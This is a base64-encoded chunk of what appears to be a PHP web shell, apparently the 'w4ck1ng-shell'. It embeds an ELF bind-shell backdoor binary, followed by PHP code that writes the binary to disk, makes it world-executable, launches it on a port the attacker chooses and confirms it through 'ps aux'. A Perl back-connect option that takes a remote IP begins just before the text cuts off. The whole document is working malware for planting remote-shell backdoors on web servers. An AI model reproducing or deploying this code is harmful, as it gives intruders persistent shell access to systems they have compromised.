cGdQLy8vLzhsdEpvRUNHZzRBQUFBNlhELy8vLy9KYmlhQkFob1FBQUFBT2xnLy8vLy95VzhtZ1FJ
YUVnQUFBRHBVUC8vLy84bHdKb0VDR2hRQUFBQTZVRC8vLy8vSmNTYUJBaG9XQUFBQU9rdy8vLy8v
eVhJbWdRSWFHQUFBQURwSVAvLy8vOGx6Sm9FQ0dob0FBQUE2UkQvLy8vL0pkQ2FCQWhvY0FBQUFP
a0EvLy8vTWUxZWllR0Q1UEJRVkZKb3JZZ0VDR2hjaUFRSVVWWm9RSVlFQ09oZi8vLy85SkNRVllu
bFUrZ2JBQUFBZ2NPL0ZBQUFnK3dFaTRQOC8vLy9oY0IwQXYvUWc4UUVXMTNEaXh3a3cxV0o1WVBz
Q0lBOTRKb0VDQUIwRE9zY2c4QUVvOXlhQkFqLzBxSGNtZ1FJaXhDRjBuWHJ4Z1hnbWdRSUFjbkRW
WW5sZyt3SW9ieVpCQWlGd0hRU3VBQUFBQUNGd0hRSnh3UWt2SmtFQ1AvUXljT1FrRldKNVZlRDdH
U0Q1UEM0QUFBQUFJUEFENFBBRDhIb0JNSGdCQ25FeDBYa0FRQUFBTWRGK0V5SkJBakhSQ1FJQUFB
QUFNZEVKQVFCQUFBQXh3UWtBZ0FBQU9nSi8vLy9pVVh3ZzMzd0FIa1l4d1FraklrRUNPZzAvdi8v
eHdRa0FRQUFBT2lvL3YvL1pzZEYxQUlBeDBYWUFBQUFBSXRGRElQQUJJc0FpUVFrNkp2Ky8vOFB0
OENKQkNUb3NQNy8vMmFKUmRiSFJDUVFCQUFBQUkxRjVJbEVKQXpIUkNRSUFnQUFBTWRFSkFRQkFB
QUFpMFh3aVFRazZCTCsvLytOUmRUSFJDUUlFQUFBQUlsRUpBU0xSZkNKQkNUb0tQNy8vNFhBZVJq
SEJDU1RpUVFJNktqOS8vL0hCQ1FCQUFBQTZCeisvLy9IUkNRRUNBQUFBSXRGOElrRUpPaTUvZi8v
aGNCNUdNY0VKSmlKQkFqb2VmMy8vOGNFSkFFQUFBRG83ZjMvLzhkRjZCQUFBQUNOUmVpTlZjU0pS
Q1FJaVZRa0JJdEY4SWtFSk9odC9mLy9pVVgwZzMzMEFIa014d1FraklrRUNPZzQvZi8vNkVQOS8v
K0Z3QStFcHdBQUFJdEYrTG4vLy8vL2lVVzR1QUFBQUFEOGkzMjQ4cTZKeVBmUWcrZ0J4MFFrREFB
QUFBQ0pSQ1FJaTBYNGlVUWtCSXRGOUlrRUpPaVEvZi8veDBRa0JBQUFBQUNMUmZTSkJDVG9QZjMv
LzhkRUpBUUJBQUFBaTBYMGlRUWs2Q3I5Ly8vSFJDUUVBZ0FBQUl0RjlJa0VKT2dYL2YvL3gwUWtD
QUFBQUFESFJDUUVuNGtFQ01jRUpKK0pCQWpvZS96Ly80dEY4SWtFSk9pQS9QLy94d1FrQUFBQUFP
Z0UvZi8vaTBYMGlRUWs2R244Ly8vcER2Ly8vMVdKNVZkV01mWlQ2SC85Ly8rQnd5TVNBQUNEN0F6
b0Vmei8vNDJESVAvLy80MlRJUC8vLzRsRjhDblF3ZmdDT2NaekZvblgveFN5aTBYd2c4WUJLZmlK
K3NINEFqbkdjdXlEeEF4YlhsOWR3MVdKNVlQc0dJbGQ5T2d0L2YvL2djUFJFUUFBaVhYNGlYMzhq
Yk1nLy8vL2pic2cvLy8vS2Y3Qi9nTHJBLzhVdDRQdUFZUCsvM1gxNkRvQUFBQ0xYZlNMZGZpTGZm
eUo3RjNEa0ZXSjVWT0Q3QVNockprRUNJUDQvM1FTdTZ5WkJBai8wSXREL0lQckJJUDQvM1h6ZzhR
RVcxM0RrSkNRVllubFUraTcvUC8vZ2NOZkVRQUFnK3dFNkxIOC8vK0R4QVJiWGNNQUFBQURBQUFB
QVFBQ0FEbzZJSGMwWTJzeGJtY3RjMmhsYkd3Z0tGQnlhWFpoZEdVZ1FuVnBiR1FnZGpBdU15a2dZ
bWx1WkNCemFHVnNiQ0JpWVdOclpHOXZjaUE2T2lBS0NnQnpiMk5yWlhRQVltbHVaQUJzYVhOMFpX
NEFMMkpwYmk5emFBQUFBQUFBQVAvLy8vOEFBQUFBLy8vLy93QUFBQUFBQUFBQUFRQUFBQ1FBQUFB
TUFBQUFpSVFFQ0EwQUFBQWtpUVFJQkFBQUFFaUJCQWdGQUFBQUVJTUVDQVlBQUFEZ2dRUUlDZ0FB
QUxBQUFBQUxBQUFBRUFBQUFCVUFBQUFBQUFBQUF3QUFBSXlhQkFnQ0FBQUFlQUFBQUJRQUFBQVJB
QUFBRndBQUFCQ0VCQWdSQUFBQUNJUUVDQklBQUFBSUFBQUFFd0FBQUFnQUFBRCsvLzl2NklNRUNQ
Ly8vMjhCQUFBQThQLy9iOENEQkFnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBd0prRUNBQUFBQUFBQUFBQXRvUUVDTWFF
QkFqV2hBUUk1b1FFQ1BhRUJBZ0doUVFJRm9VRUNDYUZCQWcyaFFRSVJvVUVDRmFGQkFobWhRUUlk
b1VFQ0lhRkJBaVdoUVFJQUFBQUFBQUFBQUM0bVFRSUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tG
VmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZW
aWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTkM0d0xqTWdLRlZp
ZFc1MGRTQTBMakF1TXkweGRXSjFiblIxTlNrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlk
VzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRX
NTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTkM0d0xqTWdLRlZpZFc1
MGRTQTBMakF1TXkweGRXSjFiblIxTlNrQUFFZERRem9nS0VkT1ZTa2dNeTQwTGpZZ0tGVmlkVzUw
ZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBQUFBY0FBQUFBZ0FBQUFBQUJBQUFBQUFBb0lVRUNDSUFB
QUFBQUFBQUFBQUFBRFFBQUFBQ0FBc0JBQUFFQUFBQUFBRG9oUVFJQkFBQUFDU0pCQWdTQUFBQWlJ
UUVDQXNBQUFERWhRUUlKQUFBQUFBQUFBQUFBQUFBTEFBQUFBSUFtd0VBQUFRQUFBQUFBT2lGQkFn
RUFBQUFPNGtFQ0FZQUFBQ2RoQVFJQWdBQUFBQUFBQUFBQUFBQUlRQUFBQUlBZWdBQUFKRUFBQUI1
QUFBQVgwbFBYM04wWkdsdVgzVnpaV1FBQUFBQUFIWUFBQUFDQUFBQUFBQUVBUUFBQUFDZ2hRUUl3
b1VFQ0M0dUwzTjVjMlJsY0hNdmFUTTROaTlsYkdZdmMzUmhjblF1VXdBdlluVnBiR1F2WW5WcGJH
UmtMMmRzYVdKakxUSXVNeTQyTDJKMWFXeGtMWFJ5WldVdloyeHBZbU10TWk0ekxqWXZZM04xQUVk
T1ZTQkJVeUF5TGpFMkxqa3hBQUdBalFBQUFBSUFGQUFBQUFRQld3QUFBTVNGQkFqRWhRUUlZZ0FB
QUFFQUFBQUFFUUFBQUFLUUFBQUFCQWNDVkFBQUFBRUlBcDBBQUFBQ0J3S0xBQUFBQkFjQ1ZnQUFB
QUVHQWdjQUFBQUNCUU5wYm5RQUJBVUNSZ0FBQUFnRkFvWUFBQUFJQndKTEFBQUFCQVVDa0FBQUFB
UUhBbDBBQUFBQkJnU3dBQUFBQVJtTEFBQUFBUVVEU0lrRUNBVlBBQUFBQUl3QUFBQUNBRllBQUFB
RUFZSUFBQUF2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2
YVRNNE5pMXNhV0pqTDJOemRTOWpjblJwTGxNQUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlM
ak11Tmk5aWRXbHNaQzEwY21WbEwyZHNhV0pqTFRJdU15NDJMMk56ZFFCSFRsVWdRVk1nTWk0eE5p
NDVNUUFCZ0l3QUFBQUNBR1lBQUFBRUFTOEJBQUF2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJ
dU15NDJMMkoxYVd4a0xYUnlaV1V2YVRNNE5pMXNhV0pqTDJOemRTOWpjblJ1TGxNQUwySjFhV3hr
TDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwyZHNhV0pqTFRJdU15NDJM
Mk56ZFFCSFRsVWdRVk1nTWk0eE5pNDVNUUFCZ0FFUkFCQUdFUUVTQVFNSUd3Z2xDQk1GQUFBQUFS
RUJFQVlTQVJFQkpRNFRDd01PR3c0QUFBSWtBQU1PQ3dzK0N3QUFBeVFBQXdnTEN6NExBQUFFTkFB
RERqb0xPd3RKRXo4TUFnb0FBQVVtQUVrVEFBQUFBUkVBRUFZRENCc0lKUWdUQlFBQUFBRVJBQkFH
QXdnYkNDVUlFd1VBQUFCWEFBQUFBZ0F5QUFBQUFRSDdEZzBBQVFFQkFRQUFBQUVBQUFFdUxpOXpl
WE5rWlhCekwya3pPRFl2Wld4bUFBQnpkR0Z5ZEM1VEFBRUFBQUFBQlFLZ2hRUUlBOEFBQVRNaE5E
MGxJZ01ZSUZsYUlTSmNXd0lCQUFFQkl3QUFBQUlBSFFBQUFBRUIrdzROQUFFQkFRRUFBQUFCQUFB
QkFHbHVhWFF1WXdBQUFBQUFxUUFBQUFJQVVBQUFBQUVCK3c0TkFBRUJBUUVBQUFBQkFBQUJMMkox
YVd4a0wySjFhV3hrWkM5bmJHbGlZeTB5TGpNdU5pOWlkV2xzWkMxMGNtVmxMMmt6T0RZdGJHbGlZ
eTlqYzNVQUFHTnlkR2t1VXdBQkFBQUFBQVVDNklVRUNBUEFBQUU5QWdFQUFRRUFCUUlraVFRSUF5
NEJJUzhoV1djQ0F3QUJBUUFGQW9pRUJBZ0RId0VoTHowQ0JRQUJBUUFGQXNTRkJBZ0RDZ0VoTHlG
Wlp6MW5MeTh3UFNFaEFnRUFBUUdJQUFBQUFnQlFBQUFBQVFIN0RnMEFBUUVCQVFBQUFBRUFBQUV2
WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2YVRNNE5pMXNh
V0pqTDJOemRRQUFZM0owYmk1VEFBRUFBQUFBQlFMb2hRUUlBeUVCUFFJQkFBRUJBQVVDTzRrRUNB
TVNBVDBoSVFJQkFBRUJBQVVDbllRRUNBTUpBU0VDQVFBQkFXbHVhWFF1WXdCemFHOXlkQ0JwYm5R
QUwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwyZHNhV0pq
TFRJdU15NDJMMk56ZFFCc2IyNW5JR3h2Ym1jZ2FXNTBBSFZ1YzJsbmJtVmtJR05vWVhJQVIwNVZJ
RU1nTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQWJHOXVaeUJzYjI1bklI
VnVjMmxuYm1Wa0lHbHVkQUJ6YUc5eWRDQjFibk5wWjI1bFpDQnBiblFBWDBsUFgzTjBaR2x1WDNW
elpXUUFBQzV6ZVcxMFlXSUFMbk4wY25SaFlnQXVjMmh6ZEhKMFlXSUFMbWx1ZEdWeWNBQXVibTkw
WlM1QlFra3RkR0ZuQUM1b1lYTm9BQzVrZVc1emVXMEFMbVI1Ym5OMGNnQXVaMjUxTG5abGNuTnBi
MjRBTG1kdWRTNTJaWEp6YVc5dVgzSUFMbkpsYkM1a2VXNEFMbkpsYkM1d2JIUUFMbWx1YVhRQUxu
UmxlSFFBTG1acGJta0FMbkp2WkdGMFlRQXVaV2hmWm5KaGJXVUFMbU4wYjNKekFDNWtkRzl5Y3dB
dWFtTnlBQzVrZVc1aGJXbGpBQzVuYjNRQUxtZHZkQzV3YkhRQUxtUmhkR0VBTG1KemN3QXVZMjl0
YldWdWRBQXVaR1ZpZFdkZllYSmhibWRsY3dBdVpHVmlkV2RmY0hWaWJtRnRaWE1BTG1SbFluVm5Y
Mmx1Wm04QUxtUmxZblZuWDJGaVluSmxkZ0F1WkdWaWRXZGZiR2x1WlFBdVpHVmlkV2RmYzNSeUFB
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR3dB
QUFBRUFBQUFDQUFBQUZJRUVDQlFCQUFBVEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDTUFBQUFI
QUFBQUFnQUFBQ2lCQkFnb0FRQUFJQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUF4QUFBQUJRQUFB
QUlBQUFCSWdRUUlTQUVBQUpnQUFBQUVBQUFBQUFBQUFBUUFBQUFFQUFBQU53QUFBQXNBQUFBQ0FB
QUE0SUVFQ09BQkFBQXdBUUFBQlFBQUFBRUFBQUFFQUFBQUVBQUFBRDhBQUFBREFBQUFBZ0FBQUJD
REJBZ1FBd0FBc0FBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFCSEFBQUEvLy8vYndJQUFBREFnd1FJ
d0FNQUFDWUFBQUFFQUFBQUFBQUFBQUlBQUFBQ0FBQUFWQUFBQVA3Ly8yOENBQUFBNklNRUNPZ0RB
QUFnQUFBQUJRQUFBQUVBQUFBRUFBQUFBQUFBQUdNQUFBQUpBQUFBQWdBQUFBaUVCQWdJQkFBQUNB
QUFBQVFBQUFBQUFBQUFCQUFBQUFnQUFBQnNBQUFBQ1FBQUFBSUFBQUFRaEFRSUVBUUFBSGdBQUFB
RUFBQUFDd0FBQUFRQUFBQUlBQUFBZFFBQUFBRUFBQUFHQUFBQWlJUUVDSWdFQUFBWEFBQUFBQUFB
QUFBQUFBQUJBQUFBQUFBQUFIQUFBQUFCQUFBQUJnQUFBS0NFQkFpZ0JBQUFBQUVBQUFBQUFBQUFB
QUFBQkFBQUFBUUFBQUI3QUFBQUFRQUFBQVlBQUFDZ2hRUUlvQVVBQUlRREFBQUFBQUFBQUFBQUFB
UUFBQUFBQUFBQWdRQUFBQUVBQUFBR0FBQUFKSWtFQ0NRSkFBQWRBQUFBQUFBQUFBQUFBQUFCQUFB
QUFBQUFBSWNBQUFBQkFBQUFBZ0FBQUVTSkJBaEVDUUFBWXdBQUFBQUFBQUFBQUFBQUJBQUFBQUFB
QUFDUEFBQUFBUUFBQUFJQUFBQ29pUVFJcUFrQUFBUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFt
UUFBQUFFQUFBQURBQUFBckprRUNLd0pBQUFJQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUtBQUFB
QUJBQUFBQXdBQUFMU1pCQWkwQ1FBQUNBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQ25BQUFBQVFB
QUFBTUFBQUM4bVFRSXZBa0FBQVFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBckFBQUFBWUFBQUFE
QUFBQXdKa0VDTUFKQUFESUFBQUFCUUFBQUFBQUFBQUVBQUFBQ0FBQUFMVUFBQUFCQUFBQUF3QUFB
SWlhQkFpSUNnQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBUUFBQUM2QUFBQUFRQUFBQU1BQUFDTW1n
UUlqQW9BQUVnQUFBQUFBQUFBQUFBQUFBUUFBQUFFQUFBQXd3QUFBQUVBQUFBREFBQUExSm9FQ05R
S0FBQU1BQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBTWtBQUFBSUFBQUFBd0FBQU9DYUJBamdDZ0FB
QkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFET0FBQUFBUUFBQUFBQUFBQUFBQUFBNEFvQUFDWUJB
QUFBQUFBQUFBQUFBQUVBQUFBQUFBQUExd0FBQUFFQUFBQUFBQUFBQUFBQUFBZ01BQUNJQUFBQUFB
QUFBQUFBQUFBSUFBQUFBQUFBQU9ZQUFBQUJBQUFBQUFBQUFBQUFBQUNRREFBQUpRQUFBQUFBQUFB
QUFBQUFBUUFBQUFBQUFBRDJBQUFBQVFBQUFBQUFBQUFBQUFBQXRRd0FBQ3NDQUFBQUFBQUFBQUFB
QUFFQUFBQUFBQUFBQWdFQUFBRUFBQUFBQUFBQUFBQUFBT0FPQUFCMkFBQUFBQUFBQUFBQUFBQUJB
QUFBQUFBQUFCQUJBQUFCQUFBQUFBQUFBQUFBQUFCV0R3QUF1d0VBQUFBQUFBQUFBQUFBQVFBQUFB
QUFBQUFjQVFBQUFRQUFBREFBQUFBQUFBQUFFUkVBQUw4QUFBQUFBQUFBQUFBQUFBRUFBQUFCQUFB
QUVRQUFBQU1BQUFBQUFBQUFBQUFBQU5BUkFBQW5BUUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUVB
QUFBQ0FBQUFBQUFBQUFBQUFBQklHQUFBOEFVQUFDRUFBQUEvQUFBQUJBQUFBQkFBQUFBSkFBQUFB
d0FBQUFBQUFBQUFBQUFBT0I0QUFMSURBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBQUFBQUFBQUFBQUFBQUFVZ1FRSUFBQUFBQU1BQVFBQUFBQUFLSUVFQ0FBQUFBQURBQUlBQUFB
QUFFaUJCQWdBQUFBQUF3QURBQUFBQUFEZ2dRUUlBQUFBQUFNQUJBQUFBQUFBRUlNRUNBQUFBQUFE
QUFVQUFBQUFBTUNEQkFnQUFBQUFBd0FHQUFBQUFBRG9nd1FJQUFBQUFBTUFCd0FBQUFBQUNJUUVD
QUFBQUFBREFBZ0FBQUFBQUJDRUJBZ0FBQUFBQXdBSkFBQUFBQUNJaEFRSUFBQUFBQU1BQ2dBQUFB
QUFvSVFFQ0FBQUFBQURBQXNBQUFBQUFLQ0ZCQWdBQUFBQUF3QU1BQUFBQUFBa2lRUUlBQUFBQUFN
QURRQUFBQUFBUklrRUNBQUFBQUFEQUE0QUFBQUFBS2lKQkFnQUFBQUFBd0FQQUFBQUFBQ3NtUVFJ
QUFBQUFBTUFFQUFBQUFBQXRKa0VDQUFBQUFBREFCRUFBQUFBQUx5WkJBZ0FBQUFBQXdBU0FBQUFB
QURBbVFRSUFBQUFBQU1BRXdBQUFBQUFpSm9FQ0FBQUFBQURBQlFBQUFBQUFJeWFCQWdBQUFBQUF3
QVZBQUFBQUFEVW1nUUlBQUFBQUFNQUZnQUFBQUFBNEpvRUNBQUFBQUFEQUJjQUFBQUFBQUFBQUFB
QUFBQUFBd0FZQUFBQUFBQUFBQUFBQUFBQUFBTUFHUUFBQUFBQUFBQUFBQUFBQUFBREFCb0FBQUFB
QUFBQUFBQUFBQUFBQXdBYkFBQUFBQUFBQUFBQUFBQUFBQU1BSEFBQUFBQUFBQUFBQUFBQUFBQURB
QjBBQUFBQUFBQUFBQUFBQUFBQUF3QWVBQUFBQUFBQUFBQUFBQUFBQUFNQUh3QUFBQUFBQUFBQUFB
QUFBQUFEQUNBQUFBQUFBQUFBQUFBQUFBQUFBd0FoQUFFQUFBQUFBQUFBQUFBQUFBUUE4ZjhNQUFB
QUFBQUFBQUFBQUFBRUFQSC9LQUFBQUFBQUFBQUFBQUFBQkFEeC95OEFBQUFBQUFBQUFBQUFBQVFB
OGY4NkFBQUFBQUFBQUFBQUFBQUVBUEgvZEFBQUFNU0ZCQWdBQUFBQUFnQU1BSVFBQUFBQUFBQUFB
QUFBQUFRQThmK1BBQUFBckprRUNBQUFBQUFCQUJBQW5RQUFBTFNaQkFnQUFBQUFBUUFSQUtzQUFB
QzhtUVFJQUFBQUFBRUFFZ0M0QUFBQTRKb0VDQUVBQUFBQkFCY0F4d0FBQU55YUJBZ0FBQUFBQVFB
V0FNNEFBQURzaFFRSUFBQUFBQUlBREFEa0FBQUFHNFlFQ0FBQUFBQUNBQXdBaEFBQUFBQUFBQUFB
QUFBQUJBRHgvL0FBQUFDd21RUUlBQUFBQUFFQUVBRDlBQUFBdUprRUNBQUFBQUFCQUJFQUNnRUFB
S2lKQkFnQUFBQUFBUUFQQUJnQkFBQzhtUVFJQUFBQUFBRUFFZ0FrQVFBQStJZ0VDQUFBQUFBQ0FB
d0FMd0FBQUFBQUFBQUFBQUFBQkFEeC96b0JBQUFBQUFBQUFBQUFBQVFBOGY5MEFRQUFBQUFBQUFB
QUFBQUVBUEgvZUFFQUFNQ1pCQWdBQUFBQUFRSVRBSUVCQUFDc21RUUlBQUFBQUFBQzhmK1NBUUFB
ckprRUNBQUFBQUFBQXZIL3BRRUFBS3laQkFnQUFBQUFBQUx4LzdZQkFBQ01tZ1FJQUFBQUFBRUNG
UURNQVFBQXJKa0VDQUFBQUFBQUF2SC8zd0VBQUFBQUFBQjFBUUFBRWdBQUFQQUJBQUFBQUFBQWNR
QUFBQklBQUFBQkFnQUFSSWtFQ0FRQUFBQVJBQTRBQ0FJQUFBQUFBQURNQUFBQUVnQUFBQm9DQUFB
QUFBQUFXZ0FBQUJJQUFBQXFBZ0FBMkpvRUNBQUFBQUFSQWhZQU53SUFBSzJJQkFoS0FBQUFFZ0FN
QUVjQ0FBQUFBQUFBZUFBQUFCSUFBQUJaQWdBQWlJUUVDQUFBQUFBU0FBb0FYd0lBQUFBQUFBQTVB
QUFBRWdBQUFIRUNBQUFBQUFBQU9RQUFBQklBQUFDSEFnQUFvSVVFQ0FBQUFBQVNBQXdBamdJQUFG
eUlCQWhSQUFBQUVnQU1BSjRDQUFEZ21nUUlBQUFBQUJBQThmK3FBZ0FBUUlZRUNCd0NBQUFTQUF3
QXJ3SUFBQUFBQUFEbUFBQUFFZ0FBQU13Q0FBQUFBQUFBT2dBQUFCSUFBQURjQWdBQTFKb0VDQUFB
QUFBZ0FCWUE1d0lBQUFBQUFBQTVBQUFBRWdBQUFQY0NBQUFraVFRSUFBQUFBQklBRFFEOUFnQUFB
QUFBQUxrQUFBQVNBQUFBRFFNQUFBQUFBQUFyQUFBQUVnQUFBQjBEQUFEZ21nUUlBQUFBQUJBQThm
OGtBd0FBNklVRUNBQUFBQUFTQWd3QU93TUFBT1NhQkFnQUFBQUFFQUR4LzBBREFBQUFBQUFBZUFB
QUFCSUFBQUJRQXdBQUFBQUFBQTRBQUFBU0FBQUFZUU1BQUVpSkJBZ0VBQUFBRVFBT0FIQURBQURV
bWdRSUFBQUFBQkFBRmdCOUF3QUFBQUFBQURrQUFBQVNBQUFBandNQUFBQUFBQUFBQUFBQUlBQUFB
S01EQUFBQUFBQUFBQUFBQUNBQUFBQUFZV0pwTFc1dmRHVXVVd0F1TGk5emVYTmtaWEJ6TDJrek9E
WXZaV3htTDNOMFlYSjBMbE1BYVc1cGRDNWpBR2x1YVhSbWFXNXBMbU1BTDJKMWFXeGtMMkoxYVd4
a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJrek9EWXRiR2xpWXk5amMzVXZZM0ow
YVM1VEFHTmhiR3hmWjIxdmJsOXpkR0Z5ZEFCamNuUnpkSFZtWmk1akFGOWZRMVJQVWw5TVNWTlVY
MThBWDE5RVZFOVNYMHhKVTFSZlh3QmZYMHBEVWw5TVNWTlVYMThBWTI5dGNHeGxkR1ZrTGpRME5q
TUFjQzQwTkRZeUFGOWZaRzlmWjJ4dlltRnNYMlIwYjNKelgyRjFlQUJtY21GdFpWOWtkVzF0ZVFC
ZlgwTlVUMUpmUlU1RVgxOEFYMTlFVkU5U1gwVk9SRjlmQUY5ZlJsSkJUVVZmUlU1RVgxOEFYMTlL
UTFKZlJVNUVYMThBWDE5a2IxOW5iRzlpWVd4ZlkzUnZjbk5mWVhWNEFDOWlkV2xzWkM5aWRXbHNa
R1F2WjJ4cFltTXRNaTR6TGpZdlluVnBiR1F0ZEhKbFpTOXBNemcyTFd4cFltTXZZM04xTDJOeWRH
NHVVd0F4TG1NQVgwUlpUa0ZOU1VNQVgxOW1hVzVwWDJGeWNtRjVYMlZ1WkFCZlgyWnBibWxmWVhK
eVlYbGZjM1JoY25RQVgxOXBibWwwWDJGeWNtRjVYMlZ1WkFCZlIweFBRa0ZNWDA5R1JsTkZWRjlV
UVVKTVJWOEFYMTlwYm1sMFgyRnljbUY1WDNOMFlYSjBBR1Y0WldOc1FFQkhURWxDUTE4eUxqQUFZ
Mnh2YzJWQVFFZE1TVUpEWHpJdU1BQmZabkJmYUhjQWNHVnljbTl5UUVCSFRFbENRMTh5TGpBQVpt
OXlhMEJBUjB4SlFrTmZNaTR3QUY5ZlpITnZYMmhoYm1Sc1pRQmZYMnhwWW1OZlkzTjFYMlpwYm1r
QVlXTmpaWEIwUUVCSFRFbENRMTh5TGpBQVgybHVhWFFBYkdsemRHVnVRRUJIVEVsQ1ExOHlMakFB
YzJWMGMyOWphMjl3ZEVCQVIweEpRa05mTWk0d0FGOXpkR0Z5ZEFCZlgyeHBZbU5mWTNOMVgybHVh
WFFBWDE5aWMzTmZjM1JoY25RQWJXRnBiZ0JmWDJ4cFltTmZjM1JoY25SZmJXRnBia0JBUjB4SlFr
TmZNaTR3QUdSMWNESkFRRWRNU1VKRFh6SXVNQUJrWVhSaFgzTjBZWEowQUdKcGJtUkFRRWRNU1VK
RFh6SXVNQUJmWm1sdWFRQmxlR2wwUUVCSFRFbENRMTh5TGpBQVlYUnZhVUJBUjB4SlFrTmZNaTR3
QUY5bFpHRjBZUUJmWDJrMk9EWXVaMlYwWDNCalgzUm9kVzVyTG1KNEFGOWxibVFBYzJWdVpFQkFS
MHhKUWtOZk1pNHdBR2gwYjI1elFFQkhURWxDUTE4eUxqQUFYMGxQWDNOMFpHbHVYM1Z6WldRQVgx
OWtZWFJoWDNOMFlYSjBBSE52WTJ0bGRFQkFSMHhKUWtOZk1pNHdBRjlLZGw5U1pXZHBjM1JsY2tO
c1lYTnpaWE1BWDE5bmJXOXVYM04wWVhKMFgxOEEiOwoKZnVuY3Rpb24gY2YoJGZuYW1lLCR0ZXh0
KSB7CiAgJHdfZmlsZT1AZm9wZW4oJGZuYW1lLCJ3Iikgb3IgZXJyKCk7CiAgaWYoJHdfZmlsZSkg
ewogICAgQGZwdXRzKCR3X2ZpbGUsQGJhc2U2NF9kZWNvZGUoJHRleHQpKTsKICAgIEBmY2xvc2Uo
JHdfZmlsZSk7CiAgfQp9CgpmdW5jdGlvbiBjZmIoJGZuYW1lLCR0ZXh0KSB7CiAgJHdfZmlsZT1A
Zm9wZW4oJGZuYW1lLCJ3Iikgb3IgYmJlcnIoKTsKICBpZigkd19maWxlKSB7CiAgICBAZnB1dHMo
JHdfZmlsZSxAYmFzZTY0X2RlY29kZSgkdGV4dCkpOwogICAgQGZjbG9zZSgkd19maWxlKTsKICB9
Cn0KZnVuY3Rpb24gZXJyKCkgeyAkX1BPU1RbJ2JhY2tjY29ubm1zZ2UnXT0iPGJyPjxicj48ZGl2
IGNsYXNzPWZ4ZXJybXNnPkVycm9yOjwvZGl2PiBDYW4ndCBjb25uZWN0ISI7IH0KZnVuY3Rpb24g
YmJlcnIoKSB7ICRfUE9TVFsnYmFja2Njb25ubXNnZSddPSI8YnI+PGJyPjxkaXYgY2xhc3M9Znhl
cnJtc2c+RXJyb3I6PC9kaXY+IENhbid0IGJhY2tkb29yIGhvc3QhIjsgfQoKaWYgKCFlbXB0eSgk
X1BPU1RbJ2JhY2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09InNoYmQiKSkgewog
ICRpcCA9IGdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKTsKICAkcG9yID0gJF9Q
T1NUWydiYWNrY29ubmVjdHBvcnQnXTsKICBpZiAoaXNfd3JpdGFibGUoIi4iKSkgewogICAgY2Zi
KCJzaGJkIiwkYmFja2Rvb3IpOwogICAgZXgoImNobW9kIDc3NyBzaGJkIik7CiAgICAkY21kID0g
Ii4vc2hiZCAkcG9yIjsKICAgIGV4ZWMoIiRjbWQgPiAvZGV2L251bGwgJiIpOwogICAgJHNjYW4g
PSBteXNoZWxsZXhlYygicHMgYXV4Iik7CiAgfSBlbHNlIHsKICAgIGNmYigiL3RtcC9zaGJkIiwk
YmFja2Rvb3IpOwogICAgZXgoImNobW9kIDc3NyAvdG1wL3NoYmQiKTsKICAgICRjbWQgPSAiLi90
bXAvc2hiZCAkcG9yIjsKICAgIGV4ZWMoIiRjbWQgPiAvZGV2L251bGwgJiIpOwogICAgJHNjYW4g
PSBteXNoZWxsZXhlYygicHMgYXV4Iik7CiAgfQogIGlmIChlcmVnaSgiLi9zaGJkICRwb3IiLCRz
Y2FuKSkgewogICAgJGRhdGEgPSAoIlxuPGJyPkJhY2tkb29yIHNldHVwIHN1Y2Nlc3NmdWxseS4i
KTsKICB9IGVsc2UgewogICAgJGRhdGEgPSAoIlxuPGJyPlByb2Nlc3Mgbm90IGZvdW5kLCBiYWNr
ZG9vciBzZXR1cCBmYWlsZWQhIik7CiAgfQogICRfUE9TVFsnYmFja2Njb25ubXNnJ109IlRvIGNv
bm5lY3QsIHVzZSBuZXRjYXQhIFVzYWdlOiA8Yj4nbmMgJGlwICRwb3InPC9iPi4kZGF0YSI7Cn0K
CmlmICghZW1wdHkoJF9QT1NUWydiYWNrY29ubmVjdGlwJ10pICYmICFlbXB0eSgkX1BPU1RbJ2Jh
Y2tjb25uZWN0cG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkgewogIGlmIChpc193
